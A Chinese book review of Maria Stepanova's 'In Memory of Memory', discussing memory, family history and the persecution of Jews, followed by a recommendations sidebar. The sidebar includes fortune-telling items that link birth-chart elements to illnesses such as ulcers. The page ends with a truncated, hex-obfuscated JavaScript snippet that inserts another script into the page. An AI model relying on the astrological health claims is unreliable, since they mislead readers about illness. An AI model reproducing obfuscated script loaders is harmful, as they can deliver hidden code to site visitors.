首页 / 新京报书评周刊 / 《记忆记忆》:一曲吟唱“冰人夏绿蒂”|书评

《记忆记忆》:一曲吟唱“冰人夏绿蒂”|书评

新京报书评周刊 2021-01-14 11:16

《记忆记忆》是俄罗斯诗人、作家玛丽亚·斯捷潘诺娃耗费三十几年的时间创作的一部史诗级作品,2017年一经问世便引发轰动,先后包揽2018年三项文学大奖——“大书奖”、“鼻子奖”以及“亚斯纳亚-伯利亚纳”文学奖下设的“读者之选”。玛丽亚·斯捷潘诺娃将《记忆记忆》的体裁定为“浪漫曲”,书中抒情的腔调由不同质的材料组成:充满批判性的书评、深邃的哲学思考、对犹太民族的怜悯、波澜不惊的家庭史背后的隐秘,所有这些共同演绎出浪漫曲中的片片思绪。幸运的是,中文版译者李春雨很好地掌握并传达出了这种音乐性。

冰人夏绿蒂,幸存者种族的代表,就像我的亲人——关于他们我所能讲述的越少,他们于我便越亲近。

玛丽亚·斯捷潘诺娃,诗人,作家。代表作《记忆记忆》2018年一出版便夺得当年俄罗斯文学界三项大奖,并迅速被译为多国语言,在欧洲获得巨大成功。

不可否认,这还是一部实验作品,体现在多种体裁形式的融合,比如抒情散文、文学评论、公文、明信片插章、书信体,甚至还有对自我创作的解释,具有鲜明的元小说性与对话性。全文虽是第三人称写就,但在行文中读者仿佛就站在作者的身边,与她一起环游世界,寻根问祖,一起乘火车来到敖德萨,前往赫尔松,栖身于太姥姥萨拉入住巴黎的旅馆,跟随祖父回到特维尔的老宅缅怀过往。作者始终营造出读者在场的真实感,以各种记忆材料为佐证,将家族往事与俄罗斯20世纪风云诡谲的历史事件一一串联起来,从而形成一部具有实验性质的史诗作品。

历史与记忆仿佛存在于同一空间却属于两个世界的孪生姐妹,譬如“冰人夏绿蒂”的正反两面,我们以为后背朝天浮在水面上的粗陋已经是记忆的全部,殊不知历史的真相往往由于过于沉重而背离人们的视线,将自我深深埋于水下。

撰文丨张会燕

《记忆记忆》

作者:(俄)玛丽亚·斯捷潘诺娃

译者:李春雨

版本:大方|中信出版集团2020年11月

01

作为喻体的“冰人夏绿蒂”

在eBay网店里,有一种通体白色的瓷娃娃被打包出售,它们通常被当作货物运输过程中的减震垫,因而残破不全,不是断了胳膊,就是折了大腿,甚至脑袋也不知所踪,在英语世界被称为“冰人夏绿蒂”(Frozen Charlotte)。作家玛丽亚·斯捷潘诺娃庆幸自己在跳蚤市场偶然邂逅了这些瓷娃娃,为《记忆记忆》这本书找到了最恰当的喻体——残缺的幸存者。“首先,没有任何一段历史可以完好无损地流传下来,不是脚会受伤,就是脸会刮花;其次,空白和缺陷是生存的必然伴侣、隐秘发动机和加速装置;再次,只有伤痕将我们从批量产品变成独一无二的单品;最后,我自己也是这样的瓷娃娃,20世纪集体灾难的批量产品,同时也是其survivor和被动受益人,奇迹般地幸存了下来。”

《记忆记忆》的叙事逻辑由两条线索串起,明线是对家族个人记忆的追寻,以及其间穿插着的俄国史和犹太史,暗线是对俄国、欧美文学和哲学的思辨,曼德尔施塔姆、帕斯捷尔纳克、以赛亚·柏林、茨维塔耶娃、桑塔格、夏洛特·萨洛蒙等都进入了其视野。作者对记忆与历史的真实、记忆的权利主体、记忆在工具理性与价值理性上产生的矛盾作了更深一层的反思。她认为历史追求客观,而记忆是主观的再现。人们在回溯往事时,往往会添油加醋,不免使记忆与历史发生错位。逝者的遗物成为记忆的凭证,而借此还原的历史,第一未经逝者同意,第二可能曲解死者的本意,貌似是他者自我内在意志的佐证,实则偏离了真实。“我们过去的和现在的,无限脆弱,无比有趣,彻底无助。特别是在我们死去之后”。加拿大作家安妮·卡森写道:“生者对死者的责任十分复杂,是我们将他们放逐到了死界,而没有和他们一同死去。同样是我们将他们滞留于此,呼唤他们的名字,不肯放他们到无生界。”某种程度上可以说,任何物质留存下来的记忆都带有某种不确定性,是当代人对历史带有主观情绪与私人目的的再解读。保有距离地凝望历史,拥抱真实的残缺,是作为生者对逝去生命的尊重,也是珍视记忆应有的态度。

02

一面映射俄国历史和犹太历史的镜子

斯捷潘诺娃在此书的缘起处写道:“耐人寻味的是,祖父母辈的很大一部分努力恰恰是为了避免引人注目,为了变成透明人,隐身于家庭琐碎之中,与充满宏大叙事、动辄数百万人口误差的大历史保持距离。”因为只有沉默才不会被历史“选中”,不会成为苏联日后“犹太医生案”或者其他反犹运动的受害者,才能让整个家族延续下去。关于这一点,家族中的传奇女性萨拉率先作出了抉择。

1914年从战火连绵的法国辗转返回俄国的萨拉没有重新投身***,而是心甘情愿地退出了历史,成为了一名家庭主妇。斯捷潘诺娃的族人中间没有任何名人,也没有一个人属于所谓的“艺术军团”。他们的职业主要是医生、会计、工程师、建筑师和图书管理员。看似是一种波澜不惊的生活,远离时代的风车矩阵。而实际上,这只是浮在水面的部分,作者家族中有早期参加***的女性***者、伟大卫国战争的参与者,还有贫民出身、官至军队政委的高官。经历20世纪无数灾难的人必然珍视生命,尤其是饱受摧残、承受无妄之灾的犹太民族。只是他们选择了沉默,“他们的生命似乎深深地沉淀于血管内部,绝少流向体表……”。

19世纪40年代在“冰人夏绿蒂”的诞生地——德国图林根,另有一个城市科博尔多夫也生产瓷娃娃。只不过那里的瓷娃娃型号大,价值昂贵,配有真人头发和上等的羊皮服饰,圆圆的脸蛋白里透红。它们往往被当做收藏品摆在家中的显眼位置,精心呵护,小心保管,断然不会遭遇“减震垫”的厄运。两种瓷娃娃出身的分野在它们降生之前就被命运锁定,这种无法控制的命运伴随终身并将它们推往不同的轨道。

浑然不觉间,康奈尔远远地跨越了同代人早就不再触碰的界限:作为一种现实体验,热情已经被视为阶级异己,遭到放逐,变成了业余者和社会边缘者的所有物……“厨房里的早餐——蛋糕、可可茶、溏心煎蛋、西红柿、小面包——这些词汇统统完全无法描述每次获得此类经验时的感激之情”。

——第二部第八章《约瑟夫,或顺从》

犹太民族本身就像“冰人夏绿蒂”一般,他们的命运尤其没有掌握在自己手中。其实,从1905年的乌克兰屠犹惨案到苏联时期的“犹太医生案”种种反犹运动一直没有停息。命运的齿轮将犹太民族一次次碾进死亡的深渊,再优秀的个体也无力反抗历史的洪流与命运的裁决。

作者的犹太家族也并没有在虐犹运动中全身而退,1941年10月姨姥爷廖吉克的爷爷在郊外被刚一进城的罗马尼亚军队所枪杀。犹太人的抱团在此或许能找到一个合适的理由,永远的漂泊者只有抱在一起才可能积聚起对抗命运车轮的微弱力量,虽然这种力量常常并不能改变“冰人夏绿蒂”被碾压的厄运。

人们对犹太人充满误读、歧视与恐惧。作者花费大量笔墨向我们展示了俄国白银时代阿克梅派的著名诗人曼德尔施塔姆的遭遇。他因为自己的血统和犹太身份,不得不长久地承受着“犹太崽子”的蔑称。事实上,犹太人的抱团也决然并非铁板一块,内部也存在阶层歧视和分裂。比如富贵阶层的犹太人看不起穷酸的“兄弟”们,同是犹太人的作家帕斯捷尔纳克就主张犹太人应当融入到他者文化。而实际上,融入他者是一件极其困难的任务,因为社会中的排犹倾向从不曾销声匿迹。

所有人都开始回忆,仿佛眼看着零落成泥的过去必须立即记下,否则便会随风而逝。《时代的喧嚣》是最早的同类作品之一……作者打算将一个不愿再返回的地方绘制成地图。所以才一上来就从悠远回忆中扣除了几乎约定俗成的人性因素……温暖变成了不可想象的奢侈。

——第二部第二章《戈德切恩&伍德曼》

1933年4月20日,托马斯·曼在日记本中写道:“在一定程度上,我可以理解人们对于犹太分子的愤懑。”这句话的背景是新近颁布了一条禁止犹太人占据国家公职的法令。随后“犹太人的存在被逐渐压缩至生物学最小值。”形形色色的禁令包括“禁止去游泳池、公园、火车站、音乐厅,禁止在德国境内流动,禁止购买报纸、肉类、牛奶和烟草,禁止穿毛衣,禁止养宠物等。”犹太人遭受的不公绝非个例。二战胜利后,在20世纪50年代初的苏联,犹太身份常常被当作别人的笑料和羞辱的对象,连小孩儿也无法摆脱类似的命运。

纳博科夫曾这样描述:“存在是两个黢黑永恒之间的一丝微弱光隙。”于作者而言“第一个黢黑永恒——我们出生之前的那个似乎更加深邃。”波钦基是隶属于阿尔扎马斯市的一个偏远小镇,距离俄罗斯的下诺夫哥罗德城两百多公里。“我们所有人都从那里走出来,却再没有一个人回去过,甚至连这种念头都从未动过,七十年乃至更久。”沉默,刻意的沉默。族人避免寻根,一个重要原因就是隐匿自己的犹太出身。他们没有人愿意谈论过去,并且慢慢地在政治审核表的出身一栏漂红自己的犹太身份,以便悄无声息地存在于这个世界。

实际上,犹太民族的英雄并不逊色于其他民族,他们也是国家和时代大历史的创造者与献身者。斯捷潘诺娃通过家族亲人之间的书信往来、二战亲历者的笔记、札记、作战的军事命令等材料,向我们详细而又悲悯地展现出红军战士廖吉克如何一次次在书信中向至亲隐瞒前线的凶险,1941年列宁格勒的居民在围困的第一年死了78万人的情况下,如何熬过饥寒,如何在传言“吃人”的“死亡之城”艰难求生。廖吉克是母亲心目中的英雄。他以19岁的年龄加入前线的战斗部队,在雾气弥漫的沼泽地与敌人周旋,随时可能丧生,但是他的来信从来只说“一切都好,什么都不缺”。春天到来的时候,列宁格勒的人民熬过了最艰难的时刻,而廖吉克和其父却先后丧生。

在关于奥尔罕·帕慕克的纪录片中描述了一种独特的土耳其式忧郁……假如欧式忧郁的持久与深刻源自对忧郁者本人非永恒性的认识,那么土耳其式忧郁则并非指向未来的——未来也终将过去,而是指向已经过去却仍在发光、并透过今天浮现而出的事物。令他们忧郁的,是对于过去之伟大与现在之贫瘠与庸俗的认识。

——第二部第四章《背面&正面》

另一方面,怀抱理想与信仰、时刻准备建功立业的祖父科利亚,因为“人民公敌”的经历,二战期间被留在乌拉尔的大后方不得上前线,后来又被迫提前复员。而他选择了默默承受,心甘情愿地充当历史前进中的“减震垫”。

玛丽亚·斯捷潘诺娃将自己的家族史放置于康奈尔的盒子里,为的不仅仅是给自己的家族立传,更是为整个民族和国家树立起一座纪念碑。只不过她伪装得极妙,作者的创作动机和意图分散在每一章对他者作品的评述中。正如她对夏洛特·萨洛蒙创作的分析:“她将自己的故事选定为观察对象,似乎妨碍了人们透过文本看到水下标本——‘宏大长篇’,那里有全部的症状和判决。”作者借助记忆碎片揭开自己家族历史的帷幕,纵然舞台上并没有展示全部的内容(也不可能展示全部),观众看到的也不仅仅是一个犹太家族的历史,还是跨越一个半世纪的俄罗斯乃至整个人类的历史缩影。

03

“反记忆”的记忆悖论

逝去的岁月不能言语,物质的留存就一定是真实的吗?照片、书信、语言文字都具有局限。记忆不能被复原。事物的真实状态往往藏匿于背后。

那个看似和睦、波澜不惊的家族内部实则暗流涌动。婆媳不睦,父女关系紧张,兄妹疏远,甚至众人眼中琴瑟和鸣的外祖父母也充满矛盾与情感背叛。姑妈去世以后,“似乎每一条记录、每年一本的日记,其最主要的任务就是留下关于自我外部生活的可靠证据,而真正的内部生命却完全地留给自我;展示一切,隐蔽一切……”

面对萨洛蒙的作品时,对于隧道尽头的奥斯威辛需要既铭记又忘却。就像《人生?如戏?》的画页上蒙上了一层写有文字的描图纸一样,我们可以透过描图纸隐约看见图画,但与此同时,可以在任何时候揭开这层过滤纸,直面纯粹的色彩……在这个传统的、体面的、被同化的犹太家庭,墙上挂满了油画肖像,去意大利度假和郊外野游一样平常,圣诞节的晚上会在杉树上点燃蜡烛,情绪激昂时会高唱“德意志至高无上”……为了描述当时在她周围发生的事件,夏洛特特意创造了一个合成词——menschlich-juedischen,意为“半犹太人”,犹太人仿佛变成了某种供人围观和研究的奇特杂种——事实上也正是如此。

——第二部第五章《夏洛特,或抗拒》

斯捷潘诺娃认为对记忆材料的引用“意味着拯救和保护,放在抽屉里则意味着丢弃其于长久的黑暗……”但是,当作者请求父亲允许发表他1965年在哈萨克斯坦航天基地留下的充满“欢乐”的书信时,却遭到了父亲断然的拒绝。的确,“书面文字会营造虚假永恒的感受,让你无法将可笑的情书用斧头砍掉,而气头上的一句话会伪装成最后的真实。”

亲人的书信尚且不能充当见证,那么其他企图重构事物的尝试都无非变为“wishfulthinking”(“意淫”)。作者在十二岁时曾问母亲一个问题:“你最害怕什么?”母亲答道:“我最害怕针对个体的暴力。”这是犹太身份带给作者母亲的沉思,同样也适用于如何对待逝者的书信、札记、画作、照片等遗物。

1941年末,24岁的犹太女孩夏洛特·萨洛蒙创作了由769幅水粉画构成的遗世巨作——《人生?如戏?》。虽然画家本人在1943年死于奥斯威辛集中营,但她想要讲述的并非屠犹。然而,人们却一如既往地将之视为一份人生记录。由此,画作本身被剥夺了客体性,从而成为引用的材料、证据,出现在各种总结性文本中。当有人对逝者的记忆材料断章取义地臆造出符合自己结论的意义时,其本身就是一种暴力。一种对逝者的暴力。

当人们为了追求自己的某种目标,将记忆材料作为一种工具展示时,不应该忽视其具有的伦理价值属性。讲述是为了对抗忘却,我们可以使用记忆的材料,但需要保持警醒,不断反思。在华盛顿纳粹大屠杀遇难者纪念馆,有一些公开展示的视频与照片触目惊心,播放它们的屏幕用挡板遮挡,只有走近才能看到。挡板对遇难者起保护作用,将这些生前和死后的赤裸作为遇难者的隐私,而不是作为插图、作为号召、作为结论和鉴定的依据。同理,作为作者的斯捷潘诺娃也没有悉数将家族照片和信件全部展示,而是选择了那些可以展示的部分,虽然在作者看来,这同样属于对死者权利的一种剥夺。因为死者与无权的女性、儿童和难民属于同一类,他们无法为自己申辩,不再享有权利也无法捍卫自己的权利。

“或许,生命无法不以灾难作为开端,这灾难往往远在我们之前发生,它贪婪地吞噬着劈啪作响的枯枝,神幡一般在头顶招展。甚至无需将其视为灾祸,它是我们出现的必然条件,是我们赖以呱呱坠地的娘胎。”然而,灾难过后的幸存者是残缺的,我们是记忆的承载者,一定程度上也是记忆本身。我们拼凑记忆,也需要记忆来补全自己。但是,需要铭记的是没有人能回到过去。与过去保持一份距离,是对逝者的尊重,也是亲近他们的途径。“离记忆越远,离亲人越近”。

猜你喜欢

  • 亚历山大.普希金(1799一。1837)是俄国伟大的民族诗人,追求真理和自由的斗士,一生坎坷多难而又辉煌壮丽。他也是友谊和爱情的歌手,生性多情,浪漫轻浮,情欲强烈,曾得到许许多多年轻美丽的女子的爱恋,他又以自己炽热的爱情和优美的诗章赞颂和报答她们。诗人在16岁时..

    诗词雅言2024-03-29
  • ​人生如一场花事从花开到花落,我们一路追赶一路欣赏,若已竭尽全力那就要学会顺其自然​人生不易,不必追求太多心房很小,不必装的太满可在因上努力,需在果上随顺凡事尽心,不执着​我们一生所追逐的,除了理想和梦不过是更舒服、更自在更淡然的活着​朝起暮落淡淡享..

    诗然散文诗歌2024-03-29
  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();